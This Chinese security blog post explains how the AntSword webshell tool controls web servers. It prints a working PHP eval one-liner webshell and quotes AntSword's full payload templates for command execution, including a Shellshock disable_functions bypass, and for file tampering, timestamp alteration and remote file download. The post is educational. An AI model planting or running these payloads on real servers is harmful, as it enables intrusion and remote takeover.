0x00 前言
有个同学向我提问,为什么使用蚁剑能够对 Web服务器进行一个控制呢?这个问题很基础啊,但对于一个初学者来说,还是有必要对他进行一个解释的。这个问题,说白了,就是了解 WebShell 的工作原理,就知道为什么了。那么我们先来看看什么是 WebShell:
•Web:Web 服务器;•Shell:取得对服务器某种程度上操作权限。
也就是通过简单的一句话木马,对 Web 服务器进行一个权限控制。
其实呢,就是在攻击者对 Web 服务进行一个探测后,通过漏洞(SQL注入、文件上传,远程执行等),对 Web服务器进行一个脚本文件的上传操作,其中上传的脚本文件我们称之为 WebShell。使用蚁剑连接这个 WebShell,就可以对该 Web 服务器进行一个命令执行,文件管理(文件上传下载、删除修改等文件管理功能)、数据库连接查询等功能,从而达到了使用蚁剑对 Web服务器进行一个控制的效果。
0x01 WebShell 一句话原理
以 PHP 的一句话代码来进行举例:
<?php @eval($_POST["rowteam"]);?>
可以简单的将它进行一个分解:
<?php
$rcoil = $_POST["rowteam"];
eval($rcoil);
?>
那么我们首先来了解这句话是什么意思:
•$_POST
:$_POST 变量是一个数组,内容是由 HTTP POST 方法发送的变量名称和值。也就是从 POST 请求中获取 rowteam 变量的值。•eval()
:该函数把字符串按照 PHP 代码来计算。
效果如下图所示:
所以,像蚁剑的这种效果,实际上就是通过发送一些 PHP 代码,调用 eval 函数,实现了它的功能。下面我们来看看蚁剑的相关 Payload。
0x02 解析蚁剑的 PHP 源码
就是各个 PHP 代码,实现相对应的功能。下面的代码可以从蚁剑 Github 进行获取:https://github.com/AntSwordProject/antSword/tree/master/source/core/php/template
2.1 获取系统信息、当前用户、当前路径、盘符列表
/**
* 基础信息模板
* ? 获取系统信息、当前用户、当前路径、盘符列表
*/
module.exports = () => ({
info: {
_: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.="t";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="t{$s}";
echo $R;`.replace(/ns+/g, '')
},
probedb: { // 检测数据库函数支持
_: `$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
foreach ($m as $f) {
echo($f."\t".(function_exists($f)?'1':'0')."\n");
};
$n=array('SQLite3');
foreach ($n as $f) {
echo($f."\t".(class_exists($f)?'1':'0')."\n");
};
if(function_exists('pdo_drivers')){
foreach(@pdo_drivers() as $f){
echo("pdo_".$f."\t1\n");
}
}`.replace(/ns+/g, '')
}
})
2.2 虚拟终端命令执行
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `$p=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));
$s=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));
$envstr=@base64_decode(substr($_POST["${arg3}"],#randomPrefix#));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)){
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("[email protected]", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
function runcmd($c){
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("n",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);
}elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}
while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}elseif(runshellshock($d, $c)) {
return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";`.replace(/ns+/g, ''),
[arg1]: "#{newbase64::bin}",
[arg2]: "#{newbase64::cmd}",
[arg3]: "#{newbase64::env}"
},
listcmd: {
_: `$arr=explode(",",base64_decode(substr($_POST["${arg1}"],#randomPrefix#)));
foreach($arr as $v){
echo($v."t".(file_exists($v)?"1":"0")."n");
}`.replace(/ns+/g, ''),
[arg1]: "#{newbase64::binarr}"
},
quote: {
_: `$p=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$s=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";echo `{$r} 2>&1``,
[arg1]: "#{newbase64::bin}",
[arg2]: "#{newbase64::cmd}"
}
})
2.3 文件管理
/**
* 文件管理模板
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `$D=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="t".$T."t".@filesize($P)."t".$E."n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`,
[arg1]: "#{newbase64::path}"
},
delete: {
_: `function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(substr(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}`,
[arg1]: "#{newbase64::path}"
},
create_file: {
_: `echo @fwrite(fopen(base64_decode(substr($_POST["${arg1}"],#randomPrefix#)),"w"),base64_decode(substr($_POST["${arg2}"],#randomPrefix#)))?"1":"0";`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::content}"
},
read_file: {
_: `$F=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`,
[arg1]: "#{newbase64::path}"
},
copy: {
_: `$m=get_magic_quotes_gpc();$fc=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$fp=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::target}"
},
download_file: {
_: `$F=base64_decode(substr(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");}`,
[arg1]: "#{newbase64::path}"
},
upload_file: {
_: `$f=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));
$c=$_POST["${arg2}"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");`.replace(/ns+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{buffer::content}"
},
rename: {
_: `$m=get_magic_quotes_gpc();
$src=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$dst=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
echo(rename($src,$dst)?"1":"0");`.replace(/ns+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::name}"
},
retime: {
_: `$m=get_magic_quotes_gpc();
$FN=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$TM=strtotime(base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"], #randomPrefix#)));
if(file_exists($FN)){
echo(@touch($FN,$TM,$TM)?"1":"0");
}else{
echo("0");
};`.replace(/ns+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::time}"
},
chmod: {
_: `$m=get_magic_quotes_gpc();
$FN=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$mode=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
echo(chmod($FN,octdec($mode))?"1":"0");`.replace(/ns+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::mode}"
},
mkdir: {
_: `$m=get_magic_quotes_gpc();$f=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));echo(mkdir($f)?"1":"0");`,
[arg1]: "#{newbase64::path}"
},
wget: {
_: `$fR=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));
$fL=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));
$F=@fopen($fR,chr(114));
$L=@fopen($fL,chr(119));
if($F && $L){
while(!feof($F))
@fwrite($L,@fgetc($F));
@fclose($F);
@fclose($L);
echo("1");
}else{
echo("0");
};`.replace(/ns+/g, ''),
[arg1]: "#{newbase64::url}",
[arg2]: "#{newbase64::path}"
}
})
0x03 总结
通过编写不同功能的 Payload,交给eval()
函数执行,返回相对应的数据,再进行一个解析,从而达到一个观赏性极高的控制效果(吹爆蚁剑的 UI)。
更多知识可以加入星球进行交流及获取
原文始发于微信公众号(RowTeam):【知识回顾】为什么一段脚本语言能够控制Web服务器?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论